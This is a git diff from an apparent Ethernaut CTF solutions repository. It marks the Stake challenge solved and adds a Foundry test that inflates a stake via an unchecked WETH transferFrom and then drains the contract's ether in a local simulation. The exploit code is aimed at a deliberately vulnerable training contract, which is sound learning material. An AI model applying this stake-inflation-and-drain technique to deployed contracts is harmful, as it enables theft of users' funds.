diff --git a/docs/EthernautCTF.md b/docs/EthernautCTF.md index 98f1d19..d61964a 100644 --- a/docs/EthernautCTF.md +++ b/docs/EthernautCTF.md @@ -32,6 +32,6 @@ | 28 | [GatekeeperThree](../src/EthernautCTF/GatekeeperThree.sol) | ❌ | | | | 29 | [Switch](../src/EthernautCTF/Switch.sol) | ❌ | | | | 30 | [HigherOrder](../src/EthernautCTF/HigherOrder.sol) | ❌ | | | -| 31 | [Stake](../src/EthernautCTF/Stake.sol) | ❌ | | | +| 31 | [Stake](../src/EthernautCTF/Stake.sol) | ✅ | [StakeExploit](../test/EthernautCTF/StakeExploit.t.sol) | The contract updates the balance of the user before making sure the tokens have been transfered to the contract. | (\*) I opened a [PR](https://github.com/OpenZeppelin/ethernaut/pull/756) to prevent cheating in challenge 16. diff --git a/src/EthernautCTF/Stake.sol b/src/EthernautCTF/Stake.sol index 1dbd4de..b34fec4 100644 --- a/src/EthernautCTF/Stake.sol +++ b/src/EthernautCTF/Stake.sol @@ -1,5 +1,6 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; + contract Stake { uint256 public totalStaked; mapping(address => uint256) public UserStake; @@ -17,6 +18,7 @@ contract Stake { UserStake[msg.sender] += msg.value; Stakers[msg.sender] = true; } + function StakeWETH(uint256 amount) public returns (bool) { require(amount > 0.001 ether, "Don't be cheap"); (, bytes memory allowance) = WETH.call( @@ -42,6 +44,7 @@ contract Stake { (bool success, ) = payable(msg.sender).call{value: amount}(''); return success; } + function bytesToUint(bytes memory data) internal pure returns (uint256) { require(data.length >= 32, 'Data length must be at least 32 bytes'); uint256 result; diff --git a/src/EthernautCTF/helpers/WETH9.sol b/src/EthernautCTF/helpers/WETH9.sol new file mode 100644 index 0000000..70c2c90 --- /dev/null +++ b/src/EthernautCTF/helpers/WETH9.sol @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract WETH9 { + string public name = 'Wrapped Ether'; + string public symbol = 'WETH'; + uint8 public decimals = 18; + + event Approval(address indexed src, address indexed guy, uint256 wad); + event Transfer(address indexed src, address indexed dst, uint256 wad); + event Deposit(address indexed dst, uint256 wad); + event Withdrawal(address indexed src, uint256 wad); + + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + + receive() external payable { + deposit(); + } + + function deposit() public payable { + balanceOf[msg.sender] += msg.value; + emit Deposit(msg.sender, msg.value); + } + + function withdraw(uint256 wad) public { + require(balanceOf[msg.sender] >= wad, ''); + balanceOf[msg.sender] -= wad; + payable(msg.sender).transfer(wad); + emit Withdrawal(msg.sender, wad); + } + + function totalSupply() public view returns (uint256) { + return address(this).balance; + } + + function approve(address guy, uint256 wad) public returns (bool) { + allowance[msg.sender][guy] = wad; + emit Approval(msg.sender, guy, wad); + return true; + } + + function transfer(address dst, uint256 wad) public returns (bool) { + return transferFrom(msg.sender, dst, wad); + } + + function transferFrom( + address src, + address dst, + uint256 wad + ) public returns (bool) { + require(balanceOf[src] >= wad, ''); + + if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) { + require(allowance[src][msg.sender] >= wad, ''); + allowance[src][msg.sender] -= wad; + } + + balanceOf[src] -= wad; + balanceOf[dst] += wad; + + emit Transfer(src, dst, wad); + + return true; + } +} diff --git a/test/EthernautCTF/StakeExploit.t.sol b/test/EthernautCTF/StakeExploit.t.sol new file mode 100644 index 0000000..61d27a6 --- /dev/null +++ b/test/EthernautCTF/StakeExploit.t.sol @@ -0,0 +1,117 @@ +// SPDX-License-Identifier: GPL-3.0 +pragma solidity ^0.8.0; + +import '../../src/EthernautCTF/Stake.sol'; +import '../../src/EthernautCTF/helpers/WETH9.sol'; +import '@forge-std/Test.sol'; +import '@forge-std/console2.sol'; + +contract StakeExploit is Test { + Stake target; + WETH9 weth9; + address deployer = makeAddr('deployer'); + address exploiter = makeAddr('exploiter'); + + function setUp() public { + vm.deal(deployer, 100 ether); + vm.deal(exploiter, 1 ether); + + vm.startPrank(deployer); + weth9 = new WETH9(); + target = new Stake{value: 50 ether}(address(weth9)); + console2.log('Target contract deployed'); + vm.stopPrank(); + } + + function testExploit() public { + // Check the exploiter balance. + uint256 exploiterBalance = exploiter.balance; + assertEq(exploiterBalance, 1 ether); + console2.log('Exploiter balance: %d ether', exploiterBalance / 1 ether); + + // Check the target contract balance. + uint256 targetBalance = address(target).balance; + assertEq(targetBalance, 50 ether); + console2.log('Target balance: %d ether', targetBalance / 1 ether); + + // Check the stakes. + ( + uint256 deployerStake, + uint256 exploiterStake, + uint256 totalStake + ) = getStakes(); + assertEq(deployerStake, 0 ether); + assertEq(exploiterStake, 0 ether); + assertEq(totalStake, 50 ether); + + console2.log('Performing the exploit'); + // The Stake contract makes some calls to the WETH9 contract using the function selector. + // We can use `cast 4byte` to get the function signatures instead: + // $ cast 4byte 0xdd62ed3e + // allowance(address,address) + // $ cast 4byte 0x23b872dd + // transferFrom(address,address,uint256) + + // Stake some ether. + vm.startPrank(exploiter); + target.StakeETH{value: 1 ether}(); + assertEq(target.UserStake(exploiter), 1 ether); + console2.log('Exploiter stacked one ether'); + + assertEq(target.Stakers(exploiter), true); + console2.log('The exploiter is now a staker'); + + // Manipulate the WETH9 allowance. + // We will grant the Stake contract a very big allowance from the exploiter address. + // This way when calling StakeWETH, the contract will update our stake but it will fail when + // trying to transfer the WETH tokens to the contract. We'll manage to inflate our stake out of + // nothing! + weth9.approve(address(target), 50 ether); + target.StakeWETH(50 ether); + console2.log('The exploiter inflated his stake by 50 ether'); + + // Check the stakes. + (deployerStake, exploiterStake, totalStake) = getStakes(); + assertEq(deployerStake, 0 ether); + assertEq(exploiterStake, 1 ether + 50 ether); // inflated stake by 50 ether + assertEq(totalStake, 50 ether + 1 ether + 50 ether); + + // Drain the contract. + target.Unstake(51 ether); + console2.log('The exploiter drains the contract'); + vm.stopPrank(); + + // Check the exploiter balance. + exploiterBalance = exploiter.balance; + assertEq(exploiterBalance, 51 ether); + console2.log('Exploiter balance: %d ether', exploiterBalance / 1 ether); + + // Check the target contract balance. + targetBalance = address(target).balance; + assertEq(targetBalance, 0 ether); + console2.log('Target balance: %d ether', targetBalance / 1 ether); + + // Check the target contract stake. + console2.log('The target contract now reports fake stakes'); + (deployerStake, exploiterStake, totalStake) = getStakes(); + assertEq(deployerStake, 0 ether); + assertEq(exploiterStake, 0 ether); + assertEq(totalStake, 50 ether); // fake money because the contract has been drained + } + + function getStakes() public view returns (uint256, uint256, uint256) { + console2.log('=== STAKES ==='); + + uint256 deployerStake = target.UserStake(deployer); + console2.log('Deployer stake: %d ether', deployerStake / 1 ether); + + uint256 exploiterStake = target.UserStake(exploiter); + console2.log('Exploiter stake: %d ether', exploiterStake / 1 ether); + + uint256 totalStake = target.totalStaked(); + console2.log('Total stake: %d ether', totalStake / 1 ether); + + console2.log(); // break line + return (deployerStake, exploiterStake, totalStake); + } +}